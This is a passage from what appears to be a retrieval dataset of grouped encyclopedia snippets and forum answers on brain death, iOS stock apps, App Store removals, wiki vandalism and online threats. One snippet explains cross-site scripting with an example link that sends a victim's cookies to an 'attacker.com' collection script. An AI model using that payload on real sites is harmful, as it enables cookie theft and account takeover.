the coma, and the rapidity of its onset, testing for the purpose of diagnosing death on brainstem death grounds may be delayed beyond the stage where brainstem reflexes may be absent only temporarily – because the cerebral blood flow is inadequate to support synaptic function although there is still sufficient blood flow to keep brain cells alive and capable of recovery. There has recently been", "throughout the period and did not regain consciousness; she died on Tuesday, 24 October 1995 after her life support was turned off following the declaration that she was brain dead. Coroner's report The subsequent coroner's report determined that the cause of death was a cerebral edema caused by water intoxication (hyponatraemia) secondary to use of MDMA. Hyponatraemia occurs when excessive fluid consumption dilutes sodium levels in the blood supply, leading to water absorption in the body's cells. Absorption of too much water causes cell swelling, which in the brain can cause irreparable damage as the human skull leaves little room", "usually indicate impending cell death in neurons. When oxygen levels return, oxygen radicals, nitric oxide and an imbalance of neurotransmitters cause further damage and lead to cellular death through apoptosis. Neuron cell death is responsible for gliosis and results in the mushroom appearance of areas and is characteristic of ulegyria. Cerebral hemorrhage A cerebral hemorrhage is the result of immature blood vessels of a brain lesion bursting. The germinal matrix is a part of the brain that normally disappears as the fetal brain develops but during this process it is not unusual for changes in vessel volume to cause a", "Primary and secondary brain injury Primary In TBI, primary injuries result immediately from the initial trauma. Primary injury occurs at the moment of trauma and includes contusion, damage to blood vessels, and axonal shearing, in which the axons of neurons are stretched and torn. The blood brain barrier and meninges may be damaged in the primary injury, and neurons may die. Cells are killed in a nonspecific manner in primary injury. Tissues have a deformation threshold: if they are deformed past this threshold they are injured. Different regions in the brain may be more sensitive to mechanical", "equating brain death with death in order to proceed with organ donation.\nAside from the issue of support of or dispute against brain death, there is another inherent problem in this categorical definition: the variability of its application in medical practice. In 1995, the American Academy of Neurology (AAN), established a set of criteria that became the medical standard for diagnosing neurologic death. At that time, three clinical features had to be satisfied in order to determine “irreversible cessation” of the total brain including: coma with clear etiology, cessation of breathing, and lack of brainstem reflexes. This set of criteria was", "the equation of brainstem death with death is satisfied by its current diagnostic protocol and that in terms of its ability to diagnose de facto brainstem death it falls far short.", "a correlative of what one takes to be the necessary condition of human life, e.g., ... the potential for consciousness\". The criteria of death, however, are \"those empirical measurements that can be made to determine whether a person is dead, such as cessation of respiration or a flat EEG\". Thus, brain death is a criterion of death that may serve \"as a symbol of when it is time to die\". A person must not delay death so long that it is no longer possible to die a good death.\nOn the subject of suicide, Hauerwas challenges the claim that autonomous suicide is", "be rapidly progressive to multiorgan failure.\nSevere leptospirosis can cause liver, kidney, lungs, and brain damage. For those with signs of inflammation of membranes covering the brain and the brain itself, altered level of consciousness can occur. A variety of neurological complications can occur such as paralysis of half of the body, complete inflammation of whole section of spinal cord, and muscle weakness due to immune damage of the nerves supplying the muscles. Signs of bleeding such as non-traumatic bruises at 1 mm, non-traumatic bruises more than 1 cm, nose bleeding, blackish stools due to bleeding in stomach, vomiting blood and bleeding from", "of brainstem death. Declaration of brain death can have profound implications as the declaration, under the principle of medical futility, will be associated with the withdrawal of life support, and as those with brain death often have organs suitable for organ donation. The process is often made more difficult by poor communication with patients' families.\nWhen brain death is suspected, reversible differential diagnoses such as, electrolyte, neurological and drug-related cognitive suppression need to be excluded. Testing for reflexes can be of help in the decision, as can the absence of response and breathing. Clinical observations, including a total lack of responsiveness,", "in tissue damage in the brain and other afflicted organs as well as hemorrhages in acute poisonings.", "skull and propel the pieces into his brain, causing massive hemorrhaging.\nHexum was rushed to Beverly Hills Medical Center, where he underwent five hours of surgery to repair his wounds. On Thursday, October 18, six days after the accident, Hexum was declared brain dead. With his mother's permission, his body was flown to San Francisco on life support, where his heart was transplanted into a 36-year-old Las Vegas man at California Pacific Medical Center. Hexum's kidneys and corneas were also donated: One cornea went to a 66-year-old man, the other to a young girl. One of the kidney recipients was a", "state. Due to better seat belt use, bicycle helmets, and the general decrease in violent crime, there are lower numbers of brain deaths now than historically. Donation after cardiac death (DCD) is a new protocol applied when there is severe neurologic injury but the patient does not meet the criteria for brain death.\nThe three sections of the Act proposed for enactment read as follows. Section 1 Determination of Death. An individual who has sustained either (1) irreversible cessation of circulatory and respiratory functions, or (2) irreversible cessation of all functions of the entire brain, including the brain stem, is dead.", "patient as dead. Determining function and presence of necrosis after trauma to the whole brain or brain-stem may be used to determine brain death, and is used in many states in the US. Methodological problems Metabolic studies are useful, but they are not able identify neural activity within a specific region to specific cognitive processes. Functionality can only be identified at the most general level: Metabolism in cortical and subcortical regions that may contribute to cognitive processes.\nAt present, there is no established relation between cerebral metabolic rates of glucose or oxygen as measured by PET and patient outcome. The decrease", "Noah, was born healthy. Brain death There are four different concepts used to determine brain death: failure of heart, failure of lungs, whole brain death, and neocortical death.\nNeocortical death, similar to a persistent vegetative state (PVS), involves loss of cognitive functioning of the brain. A proposal by law professor David Randolph Smith, in an attempt to prove that neocortical death should legally be treated the same as brain death, involved PET scans to determine the similarities. However, this proposal has been criticized on the basis that confirming neocortical death by PET scan may risk indeterminacy. Pregnancy termination Anencephaly can be" ]

[ "For the record, Android has these too. By far the largest app on my Android phone is Google Books and I can't delete it. So there it sits, just hogging space and pissing me off.", "...the stock apps take up hardly any space. You can jailbreak your device and nuke them if you'd like, but then you'll realize that you put in all that effort to squeeze out an extra 100MB on your 16GB+ device...", "they use very little space, and if you want to call it \"bloatware\" like i said, takes up very little space and any other phone will have way more that actually does take up space.. most people wouldnt call maps a waste though... its kind of a feature most people use", "push them off the end of your phone into the abyss!\n\n- iPhones have a maximum number of pages (10, I think)\n- Put them all on page 10, at the end\n- Put more icons on page 10, before them\n- They get pushed off, never to be seen again\n- You can make a bunch of bookmarks to use if you either don't have enough normal apps to do this or don't want to screw with the layout of all your apps.\n\nYou'll never have to look at them again, but they'll still take a bit of disk space (although really, it's not that much)", "Because they can. \n\nI keep stocks newsstand and game center in a folder called iCrap. I like Apple Maps and use it regularly. The ones I don't use take up very little space.", "My big question is why does Contacts have it's own app. It's entirely redundant, exactly the same as the Contacts panel in the Phone \"app\"", "Because:\n* sometime they are needed by other applications. \n* sometimes it's because of a commercial agreement\n* sometimes it's because it's part of their strategy\n\nBut always because it is their product so they can." ]

[ "their rejection letters with an explicit non-disclosure warning. Apple later changed the NDA citing that \"it has created too much of a burden on developers\" but they did not reverse the decision to forbid publication of rejection notices. Some applications are not available outside region specific App Stores at the request of the developer.\nIn addition, Apple has removed software licensed under the GNU General Public License (GPL) from the App Store after complaints from one of the program's developers (the VLC media player), claiming that the App Store's terms of service are inconsistent with the GPL. Functional restrictions Applicants have", "company reported the following month that Apple rejected its application to Apple's app, citing \"violence towards children\" violating content policies. Nicalis has worked with Apple to obtain preapproval and will release a universal iOS version of Rebirth (including the Afterbirth+ expansion) with improvements for that platform, including the use of iCloud for ease of play on multiple devices. Although Nicalis wants to add this to the Vita port, the company said it was a low priority due to the Vita's limited ability to handle many weapon combos. The initial iOS version of the core game, without expansions, was released on", "application to the App Store, Apple holds firm control over its distribution. Apple can halt the distribution of applications it deems inappropriate, for example, I Am Rich, a US$1000 program that simply demonstrated the wealth of its user. Apple has been criticized for banning third-party applications that enable a functionality that Apple does not want the iPhone to have: In 2008, Apple rejected Podcaster, which allowed iPhone users to download podcasts directly to the iPhone claiming it duplicated the functionality of iTunes. Apple has since released a software update that grants this capability.\nNetShare, another rejected app, would have enabled users", "your agreement to abide by the following terms, and subject to these terms, Apple grants you a personal, non-exclusive license, under Apple's copyrights in this original Apple software (the \"Apple Software\"), to use, reproduce, modify and redistribute the Apple Software, with or without modifications, in source and/or binary forms; provided that if you redistribute the Apple Software in its entirety and without modifications, you must retain this notice and the following text and disclaimers in all such redistributions of the Apple Software. Neither the name, trademarks, service marks or logos of Apple Computer, Inc. may be used to endorse or", "enabled an opt-out feature for iAds, Apple's developer-driven advertisement system. The app was removed shortly afterwards for violating guidelines.\nIn April 2013, Apple removed AppGratis, a then-successful app store market that promoted paid apps by offering one for free each day. Apple told All Things Digital that the app violated two of its developer agreement clauses, including \"Apps that display Apps other than your own for purchase or promotion in a manner similar to or confusing with the App Store will be rejected\" and \"Apps cannot use Push Notifications to send advertising, promotions, or direct marketing of any kind\". Apple did,", "2, CamCard, TinyDeal.com, among others. Apple confirmed the attack and stated to be working with the developers to make sure they were using the proper version of Xcode to rebuild the apps.\nIn October 2015, Apple also confirmed having removed applications from the App Store due to the privacy concerns. They commented that applications could be used to compromise SSL/TLS security solutions.", "as Apple's general control and lockdown of the platform itself. Particularly at issue is the ability for Apple to remotely disable or delete apps at will.\nSome in the tech community have expressed concern that the locked-down iOS represents a growing trend in Apple's approach to computing, particularly Apple's shift away from machines that hobbyists can \"tinker with\" and note the potential for such restrictions to stifle software innovation.\nFormer Facebook developer Joe Hewitt protested against Apple's control over its hardware as a \"horrible precedent\" but praised iOS's sandboxing of apps. Kernel The iOS kernel is the XNU kernel of Darwin. The", "software licensed under the GNU General Public License (GPL) from App Store, due to text in Apple's Terms of Service agreement imposing digital rights management and proprietary legal terms incompatible with the terms of the GPL. Large-scale app removals On September 1, 2016, Apple announced that starting September 7, it would be removing old apps that do not function as intended or that don't follow current review guidelines. Developers will be warned and given 30 days to update their apps, but apps that crash on startup will be removed immediately. Additionally, app names registered by developers cannot exceed 50 characters,", "IOS app approvals Submissions for mobile apps for iOS are subject to approval by Apple's App Review team, as outlined in the SDK agreement, for basic reliability testing and other analysis, before being published on the App Store. Applications may still be distributed ad hoc if they are rejected, by the author manually submitting a request to Apple to license the application to individual iPhones, although Apple may withdraw the ability for authors to do this at a later date.\nNon-disclosure agreements have always forbidden developers from publishing the content of their rejection notices, but Apple has now started labeling", "agreement, which only allows Apple programs to be used on a singular \"Apple-labeled computer\" at one time. The publication Ars Technica notes, however, that \"a PPC emulator [like CherryOS or PearPC] isn't just for violating ToS agreements and bringing down the wrath of Apple Legal. It has legitimate uses too... you could use an emulator to run a PPC version of Linux on x86 hardware, and you could even use a P2P network to get that distribution of Linux, justifying two technologies with one rationalization.\" Despite this fact, the Irish Times pointed out that CherryOS was marketed exclusively to run", "app for iOS in February 2010, it was acquired by Apple two months later, and then integrated into iPhone 4S at its release in October 2011. At that time, the separate app was also removed from the iOS App Store.\nSiri supports a wide range of user commands, including performing phone actions, checking basic information, scheduling events and reminders, handling device settings, searching the Internet, navigating areas, finding information on entertainment, and is able to engage with iOS-integrated apps. With the release of iOS 10 in 2016, Apple opened up limited third-party access to Siri, including third-party messaging apps, as well", "of Siri. After the announcement, Apple removed the existing standalone Siri app from App Store. TechCrunch wrote that, despite the Siri app's support for iPhone 4, its removal from App Store might also have had a financial aspect for the company, in providing an incentive for customers to upgrade devices. Third-party developer Steven Troughton-Smith, however, managed to port Siri to iPhone 4, though without being able to communicate with Apple's servers. A few days later, Troughton-Smith, working with an anonymous person nicknamed \"Chpwn\", managed to fully hack Siri, enabling its full functionalities on iPhone 4 and iPod Touch devices. Additionally,", "in order to publish apps on App Store, and banning applications that used third-party development tools. After developer backlash and news of a potential antitrust investigation, Apple again revised its agreement in September, allowing the use of third-party development tools.", "in an attempt to stop developers from inserting long descriptions or irrelevant terms in app names to improve the app's ranking in App Store search results. App intelligence firm Sensor Tower revealed in November 2016 that Apple, as promised from its September announcement of removing old apps, had removed 47,300 apps from App Store in October 2016, a 238 percent increase of its prior number of average monthly app removals.\nIn June 2017, TechCrunch reported that Apple had turned its app removal focus on apps copying functionality from other, popular apps. An example cited included \"if a popular game like Flappy", "Bove of the Bove & Rhodes Report generally complained that \"[f]or Unix super-users there is no compelling reason to buy Apple's Unix. For Apple A/UX has always been a way to sell Macs, not Unix; it's a check-off item for users.\" Legacy Because A/UX requires very specific raw hardware access, the execution of A/UX within Macintosh emulation software was impossible until 2014's introduction of the Macintosh II emulator named Shoebill.\nVintage A/UX users had one central repository for most A/UX applications: an Internet server at NASA called Jagubox. It was administered by Jim Jagielski, who was also the editor of", "media consumption, and reading.\nIn June 2010, Apple rebranded iPhone OS as \"iOS\". The trademark \"IOS\" had been used by Cisco for over a decade for its operating system, IOS, used on its routers. To avoid any potential lawsuit, Apple licensed the \"IOS\" trademark from Cisco.\nIn October 2016, Apple opened its first iOS Developer Academy in Naples inside University of Naples Federico II's new campus. Software updates Apple provides major updates to the iOS operating system annually via iTunes and also, for iOS 5 and later, over-the-air. The latest version is iOS 13, released on September 19, 2019. It is available", "services. Most of the code in iOS, including third-party applications, runs as the \"mobile\" user which does not have root privileges. This ensures that system files and other iOS system resources remain hidden and inaccessible to user-installed applications. App Store bypasses Companies can apply to Apple for enterprise developer certificates. These can be used to sign apps such that iOS will install them directly (sometimes called \"sideloading\"), without the app needing to be distributed via the App Store. The terms under which they are granted make clear that they are only to be used for companies who wish to distribute", "nonfunctional Apple logo in the center of the menu bar, but the menu was restored in Mac OS X 10.0. The quick file access feature implemented in System 7 was removed, although a third-party utility, Unsanity's FruitMenu, restored the Apple menu to its classic functionality until it stopped working with the advent of OS 10.6 (Snow Leopard). \nThe Apple menu is now dedicated to managing features of the Macintosh computer, with commands to get system information, update software, launch the Mac App Store, open System Preferences, set Dock preferences, set the location (network configuration), view recent items (applications, documents and", "with such interventions Apple might be moving towards censorship.\nNovember 26, 2010, an informational magazine about Google's OS from the Danish publisher Mediaprovider wasn't allowed in the app store.\nThe Guardian described rejection of explicit content by Apple as analogous to that of the distributor WH Smith, a main distributor which for many years imposed content restrictions on British publishers. Workers at the fashion magazine Dazed & Confused have nicknamed their iPad edition the \"Iran edition\". Pulitzer Prize-winning cartoons In December 2009, Apple banned a cartoon app called NewsToons by cartoonist Mark Fiore, on the grounds that it \"ridiculed public", "date.\nAs of 2013, Apple employed mostly static analysis for their app review process, which means that dynamic code reassembly techniques could defeat the review process.\nIn June 2017, Apple updated its App Store review guidelines to specify that app developers will no longer have the ability to use custom prompts for encouraging users to leave reviews for their apps. With the release of iOS 11 in late 2017, Apple will also let developers choose whether to keep current app reviews when updating their apps or to reset. Additionally, another update to App Store policies allows users to optionally \"tip\" content creators,", "installation from a list of Apple programs to download by default, even when an existing installation of Safari was not detected on a user's machine. John Lilly, former CEO of Mozilla, stated that Apple's use of its updating software to promote its other products was \"a bad practice and should stop.\" He argued that the practice \"borders on malware distribution practices\" and \"undermines the trust that we're all trying to build with users.\" Apple spokesman Bill Evans sidestepped Lilly's statement, saying that Apple was only \"using Software Update to make it easy and convenient for both Mac and Windows users", "(which, at launch, was limited to Fluendo's licensed DVD codecs).\nApple released iPhone OS 2.0 in July 2008 for the iPhone, together with the App Store, officially introducing third-party app development and distribution to the platform. The service allows users to purchase and download new apps for their device through either the App Store on the device, or through the iTunes Store on the iTunes desktop software. While Apple has been criticized by some for how it operates the App Store, it has been a major financial success for the company. The popularity of Apple's App Store led to the rise", "Apple's software development tools, and made its way into the compiled app through a modified framework. Despite Apple's review process, WeChat and other infected apps were approved and distributed through the App Store. Even though some sources claimed that the malware was capable of prompting the user for their account credentials, opening URLs and reading the device's clipboard, Apple responded that the malware was not capable of doing \"anything malicious\" or transmitting any personally identifiable information beyond \"apps and general system information\" and that it had no information that suggested that this had happened. Some commentators considered this to be", "told the Journal. The report further claims that development on Siri has suffered due to team members and executives leaving the company for competitors, a lack of ambitious goals, and shifting strategies. Though switching Siri's functions to machine learning and algorithms, which dramatically cut its error rate, the company reportedly still failed to anticipate the popularity of Amazon's Echo, which features the Alexa personal assistant. Improvements to Siri stalled, executives clashed, and there were disagreements over the restrictions imposed on third-party app interactions. While Apple acquired an England-based startup specializing in conversational assistants, Google's Assistant had already become capable of", "of existence. To get applications into the App Store, developers were required to submit their app and wait for approval or rejection by Apple. Rejected apps were given feedback on the reason they were rejected so they could be modified and resubmitted.\nThe approval process for Apple has changed over time in terms of its feedback to developers and the time delay for apps to be approved. In July 2009, the application could take weeks. Apple streamlined the process at the end of 2009, and some apps were processed in a few days. In addition, in December 2009, the", "store, Apple Corps rejected a $1 million offer from Apple Computer to use the Apple name on the iTunes store.\nOn 8 May 2006 the court ruled in favour of Apple Computer, with Justice Edward Mann holding that \"no breach of the trademark agreement [had] been demonstrated\".\nThe Judge focused on section 4.3 of that agreement:\n4.3 The parties acknowledge that certain goods and services within the Apple Computer Field of Use are capable of delivering content within the Apple Corps Field of Use. In such case, even though Apple Corps shall have the exclusive right to use or authorize others to use", "technological protection measures that effectively control access to Apple's copyrighted works,\" the revised complaint read. \"Defendant has illegally circumvented Apple's technological copyright-protection measures. [...] Specifically, Apple charged Psystar with acquiring or creating \"code\" that \"avoids, bypasses, removes, descrambles, decrypts, deactivates or impairs a technological protection measure without Apple's authority for the purpose of gaining unauthorized access to Apple's copyrighted works.\" This brief revealed that Apple uses methods it considers protected by the DMCA to prevent Mac OS X from being installed on non-Apple hardware. \nOn December 22, 2008, Psystar opened the claim that Apple \"is prohibited from bringing action", "was a necessary step forward for users, who found the one-app-at-a-time approach very limiting. Because Apple was now committed to its memory management model, as well as compatibility with existing applications, it was forced to adopt a scheme where each application was allocated its own heap from the available RAM.\nThe amount of actual RAM allocated to each heap was set by a value coded into the metadata of each application, set by the programmer. Sometimes this value wasn't enough for particular kinds of work, so the value setting had to be exposed to the user to allow them to tweak", "created at the time, meaning users could not change their previous Apple ID email address to be their me.com email address and has always remained so. Apple does not permit different accounts to be merged.\nApple does not support the merging of Apple IDs with other Apple IDs or with AOL IDs created as an Apple ID. Apple Online Discussions Apple Discussions is a user-to-user support forum where Apple experts and users get together to discuss Apple products. Any user can browse and read the discussion forum without the need of an Apple ID. However, an Apple ID gives the user", "following July, it was reported that Apple had begun to remove listings in China for apps that circumvent government Internet censorship policies and new laws restricting virtual private network (VPN) services. Apple issued a statement, explaining that the app removals were a result of developers not complying with new laws in China requiring a government license for businesses offering VPNs, and that \"These apps remain available in all other markets where they do business\". In an earnings call the following month, Cook elaborated on the recent news, explainining that \"We would obviously rather not remove the apps, but like we" ]

[ "Edits are logged, pranksters banned. If a page is persistently violated, it gets locked down.", "There's actually a number of processes:\n\n* A few of the most common targets for vandalism (e.g. \"Barack Obama\", \"Rick Astley\") are *semi-protected*. Only editors who have registered, been around for 4 days, and made 10 previous edits can change them.\n* The *[edit filter](_URL_1_)* is an extension to the wiki software that compares every edit to sets of rules and disallows the most obvious and easily-detectable vandalism e.g. replacing an entire page with swear words. For less clear-cut cases it can allow the edit through but flag it for extra attention from...\n* *Recent changes patrollers*. These dedicated guys and girls check through edits as they come in, reverting bad ones and warning the people who made them. They are often assisted by helper tools such as \"[Huggle](_URL_0_)\" and \"[Twinkle](_URL_2_)\" (don't ask why they have such silly names...) If a user gets a certain number of warnings and continues to vandalize, they and/or their IP address may be *blocked* from editing by an administrator.\n* I said guys and girls, but the most active patrollers are actually *robots*. These sophisticated computer programs analyse edits for obvious badness, dishing out reverts and warnings where appropriate. Some even use artificial intelligence techniques.\n* If a malicious edit manages to sneak past all this, it's likely to be be caught later when someone sees it on their *watchlist*. All registered editors can \"watch\" certain articles they have an interest in, and then keep up with all the changes to those articles.", "there are FAR more people constantly minute by minute watching every single change that is done to wikipedia. On top of that there are dozens of fairly sophisticated bots that will catch most of the obvious stuff immediately. These bots are made by some editors.\n\nIn short, volunteers protect it, and some of those volunteers can ban/lock pages down too.", "Nice try malicious prankster. The [Medulla oblongata](_URL_3_) page is still safe from you putting any more brain bug porn on it.", "Simply put: Through the sheer power of a very numerous legion of very determined and fierce editors, donating their free time for a good cause.", "Say your teacher asks your class to each write about the class hamster, Spike, on the blackboard. You walk up and write \"Spike has four legs and is brown\". Since Spike does four legs and is brown, everyone agrees that you aren't lying and your info stays on the board. \n\nBut if Billy goes up to the board and writes \"Spike is pink and has three eyes\", little Jane will go up to the blackboard and erase what Billy has written because it is clearly false. If Billy keeps adding bad information about Spike, the teacher won't let him participate anymore and will send him to the principal's office." ]

[ "Wikis, because of their open nature, are susceptible to intentional disruption, known as \"trolling\".\nWikis tend to take a soft-security approach to the problem of vandalism, making damage easy to undo rather than attempting to prevent damage. Larger wikis often employ sophisticated methods, such as bots that automatically identify and revert vandalism and JavaScript enhancements that show characters that have been added in each edit. In this way, vandalism can be limited to just \"minor vandalism\" or \"sneaky vandalism\", where the characters added/eliminated are so few that bots do not identify them and users do not pay much attention to them.", "university policies. The issue of wiki vandalism is debated. In some cases, when an editor deletes an entire article and replaces it with nonsense content, it may be a \"test edit\", made by the user as she or he is experimenting with the wiki system. Some editors may not realize that they have damaged the page, or if they do realize it, they may not know how to undo the mistake or restore the content. Potential malware vector Malware can also be a problem for wikis, as users can add links to sites hosting malicious code. For example, a German", "attempt to gain sensitive information of or distribute malware to its users. Other types of malicious mirrors might attempt to make profit from the content of other websites, identify users or manipulate website contents.", "Vandalism on Wikipedia On Wikipedia, vandalism is the act of editing the project in a malicious manner that is intentionally disruptive. Vandalism includes the addition, removal, or modification of the text or other material that is either humorous, nonsensical, a hoax, or that is an offensive, humiliating, or otherwise degrading nature.\nThroughout its history, Wikipedia has struggled to maintain a balance between allowing the freedom of open editing and protecting the accuracy of its information when false information can be potentially damaging to its subjects. Vandalism is easy to commit on Wikipedia because anyone can edit the site, with the exception", "with by malicious individuals (\"vandals\") or even by well-meaning but unskilled users who introduce errors into the content. While proponents argue that the community of users can catch malicious content and correct it. Lars Aronsson, a data systems specialist, summarizes the controversy as follows: \"Most people, when they first learn about the wiki concept, assume that a Web site that can be edited by anybody would soon be rendered useless by destructive input. It sounds like offering free spray cans next to a grey concrete wall. The only likely outcome would be ugly graffiti and simple tagging, and many artistic", "not permit \"unauthorized mirroring.\" Wikipedia co-founder Jimmy Wales has raised concerns about the fact that the project is not licensed under the GNU Free Documentation License (GFDL) or a similar copyleft license, stating that \"[p]eople who contribute [to Conservapedia] are giving them full control of the content, which may lead to unpleasant results.\" Vandalism The site has stated that it prohibits unregistered users from editing entries due to concerns over vandalism, disruption or defamation. Brian Macdonald, a Conservapedia editor, commented that vandalism was intended to \"cause people to say, 'That Conservapedia is just wacko.'\" According to Stephanie Simon of the", "concern to parents and children, as children are often targets of these malicious users. Common threats to personal safety include: phishing, internet scams, malware, cyberstalking, cyberbullying, online predations and sextortion. Cyberstalking Cyberstalking is the use of the Internet or other electronic means to stalk or harass an individual, group, or organization. It may include false accusations, defamation, slander and libel. It may also include monitoring, identity theft, threats, vandalism, solicitation for sex, or gathering information that may be used to threaten, embarrass or harass. Cyberbullying Cyberbullying is the use of electronic means such as instant messaging, social media, e-mail and", "Vandalism can also include advertising and other types of spam. Sometimes editors commit vandalism by removing content or entirely blanking a given page. Less common types of vandalism, such as the deliberate addition of plausible but false information to an article can be more difficult to detect. Vandals can introduce irrelevant formatting, modify page semantics such as the page's title or categorization, manipulate the underlying code of an article, or use images disruptively.\nObvious vandalism is generally easy to remove from Wikipedia articles; the median time to detect and fix vandalism is a few minutes. However, some vandalism takes much longer", "Section 230 of the Communications Decency Act, which protects sites that engage in \"Good Samaritan\" policing of harmful material, with no requirement on the quality or quantity of such self-policing. It has also been argued, however, that a wiki's enforcement of certain rules, such as anti-bias, verifiability, reliable sourcing, and no-original-research policies, could pose legal risks. When defamation occurs on a wiki, theoretically all users of the wiki can be held liable, because any of them had the ability to remove or amend the defamatory material from the \"publication.\" It remains to be seen whether wikis will be regarded as", "filter can also prevent vandalism by disallowing the bad edit altogether. Seigenthaler incident In May 2005, a user edited the biographical article about John Seigenthaler, Sr. so that it contained several false and defamatory statements. The inaccurate claims went unnoticed between May and September 2005, when they were discovered by Victor S. Johnson, Jr., a friend of Seigenthaler. Wikipedia content is often mirrored at sites such as Answers.com, which means that incorrect information can be replicated alongside correct information through a number of websites. Such information can develop a misleading air of authority because of its presence at such sites:\nThen", "types of malware. A badware website is a website that helps distribute badware, either intentionally or because it has been compromised. Google and StopBadware There is a common misconception that StopBadware blacklists websites and that Google uses this blacklist to protect their users. In fact, Google's Safe Browsing initiative uses automated systems to identify and blacklist websites. This blacklist is used by Google to warn users before they visit potentially dangerous sites. The Firefox web browser and other applications also use Google's Safe Browsing API to warn their users based on the same blacklist.\nThe confusion is likely due to the", "a fraudulent website, it is called phishing.\nThe user is typically enticed to the false website from an email or a hyperlink from another website.\nIn another variation, a website may look like the original, but is in fact a parody of it. These are mostly harmless, and are more noticeably different from the original, as they usually do not exploit bugs in web browser technology.\nThis can also take place in a hosts file. It can redirect a site(s) to another IP, which could be a spoofed website. Cyber security Spoofing is the act of deception or hoaxing. URLs are the", "Malware Purposes Many early infectious programs, including the first Internet Worm, were written as experiments or pranks. Today, malware is used by both black hat hackers and governments, to steal personal, financial, or business information.\nMalware is sometimes used broadly against government or corporate websites to gather guarded information, or to disrupt their operation in general. However, malware can be used against individuals to gain information such as personal identification numbers or details, bank or credit card numbers, and passwords.\nSince the rise of widespread broadband Internet access, malicious software has more frequently been designed for profit. Since 2003, the majority of", "with bullying on the internet. Since they are using another person's identity or a made up identity, the person will not get in trouble and will not have any consequences. The cyberbullying cannot be traced back to them, which is a big reason why they use a fake identity in the first place. This type of cyberbullying has increased the number of suicides in teens over the past few years. Dangers There are many dangers of catfishing. It can be used to attract a person from the Internet and allow them to meet them in person. The person catfishing can", "are blocked or banned per day from Wikipedia in order to stop vandalism, or for violating regulations created to prevent propaganda. Catrin Schoneville, spokesperson for Wikimedia Germany, stated to Computerwoche that the decision impacted the English Wikipedia version, and it was unknown whether a similar decision in the future would be applied to the German Wikipedia site. Scientology statements Scientology spokeswoman, Karin Pouw, stated of the Wikipedia Arbitration decision, \"Do Scientologists care what has been posted on Wikipedia? Of course. Some of it has been very hateful and erroneous.\" Pouw commented, \"We hope all this will result in more accurate", "would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies. Cross-site scripting: cookie theft Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.\nAs an example, an attacker may post a message on www.example.com with the following link:\n<a href=\"#\" onclick=\"window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;\">Click", "An example of a bot that reverts vandalism on Wikipedia is ClueBot NG. ClueBot NG can revert edits, often within minutes, if not seconds. The bot uses machine learning in lieu of heuristics.\nThe amount of vandalism a wiki receives depends on how open the wiki is. For instance, some wikis allow unregistered users, identified by their IP addresses, to edit content, while others limit this function to just registered users. Most wikis allow anonymous editing without an account, but give registered users additional editing functions; on most wikis, becoming a registered user is a short and simple process. Some wikis", "trying to live a double life in a world that makes secrets all too easy to access\", it relies on the feeling of shame. The episode asks: \"How far would you go to keep your shame safely hidden?\"\nJosh Dzieza of The Verge commented that the anonymous hackers mark \"a bit of a departure\" for the programme, which usually does not feature \"overt villains\". Mullane analysed that the hackers' identities do not need to be revealed as they are \"effectively a stand-in for The Internet: all-seeing, all-knowing, and extremely dangerous\". The supposed malware remover that Kenny downloads is called \"shrive\", a", "some larger items semi-permanently in the Stata Center.\nAlthough many traditional college pranks have involved maximizing embarrassment or inconvenience for a victim or target, such antics are usually disparaged by MIT hackers as \"unimaginative\" or \"boring\". Often the target of a hack is an abstract concept (e.g. bureaucracy or \"political correctness\", or entropy), and the prank may or may not be aimed at any specific individual. Even when an individual is targeted (e.g. the \"disappearing office\" of newly arrived MIT President Charles Vest), the jest is good-natured, often eliciting admiration rather than anger from the \"victim\".\nWriters for the", "may be anonymous and solicit involvement of other people online who do not even know the target.\nCyberstalking is a criminal offense under various state anti-stalking, slander and harassment laws. A conviction can result in a restraining order, probation, or criminal penalties against the assailant, including jail. Definitions and description There have been a number of attempts by experts and legislators to define cyberstalking. It is generally understood to be the use of the Internet or other electronic means to stalk or harass an individual, a group, or an organization. Cyberstalking is a form of cyberbullying; the terms are often used", "with their legal names. In the case of Google+, this requirement led to a controversy known as the nymwars.\nThe prevalence of cyberbullying is often attributed to relative Internet anonymity, due to the fact that potential offenders are able to mask their identities and prevent themselves from being caught. A principal in a high school stated that comments made on these anonymous site are \"especially vicious and hurtful since there is no way to trace their source and it can be disseminated widely. \"Cyberbullying, as opposed to general bullying, is still a widely-debated area of Internet freedom in several states.\nThough Internet", "it.\" Following the complaint by Sanger, Jimmy Wales deleted many sexual images without consulting the community; some were reinstated following discussion. Critics, including Wikipediocracy, noticed that many of the sexual images deleted from Wikipedia since 2010 have reappeared. Exposure to vandals As an online encyclopedia which almost anyone can edit, Wikipedia has had problems with vandalism of articles, which range from blanking articles to inserting profanities, hoaxes, or nonsense. Wikipedia has a range of tools available to users and administrators in order to fight against vandalism, including blocking and banning of vandals and automated bots that detect and repair vandalism.", "thief that drives through a window, steal jewels, and rather than keep them, waves them around and tosses them out to a crowd ... They're very noisy, low-grade crimes.\" In its 2013 Threats Predictions report, McAfee wrote that the technical sophistication of Anonymous was in decline and that it was losing supporters due to \"too many uncoordinated and unclear operations\".\nGraham Cluley, a security expert for Sophos, argued that Anonymous' actions against child porn websites hosted on a darknet could be counterproductive, commenting that while their intentions may be good, the removal of illegal websites and sharing networks should be performed", "preserving the quality of the work product, on the basis of their ongoing participation.\" On controversial topics that have been subject to disruptive editing, a wiki author may restrict editing to registered users. Security The open philosophy of wiki – allowing anyone to edit content – does not ensure that every editor's intentions are well-mannered. For example, vandalism (changing wiki content to something offensive, adding nonsense, or deliberately adding incorrect information, such as hoax information) can be a major problem. On larger wiki sites, such as those run by the Wikimedia Foundation, vandalism can go unnoticed for some period of time.", "hackers is discarded hardware, especially hard drives that have not properly been scrubbed clean and still contain private and accurate information about corporations or individuals. Since surfing through people's curbside garbage is not a criminal offence and does not require a warrant, it is a rich resource for social hackers, as well as a legally accessible one. Dumpster diving can yield fruitful, albeit smelly results for information seekers such as private investigators, stalkers, nosy neighbours, and the police. Roleplaying Establishing trust by fooling people into believing in the legitimacy of a false character is one of the main tenets of", "Website defacement Common targets Religious and government sites are regularly targeted by hackers in order to display political or religious beliefs, whilst defacing the views and beliefs of others. Disturbing images and offensive phrases might be displayed in the process, as well as a signature of sorts, to show who was responsible for the defacement. Websites are not only 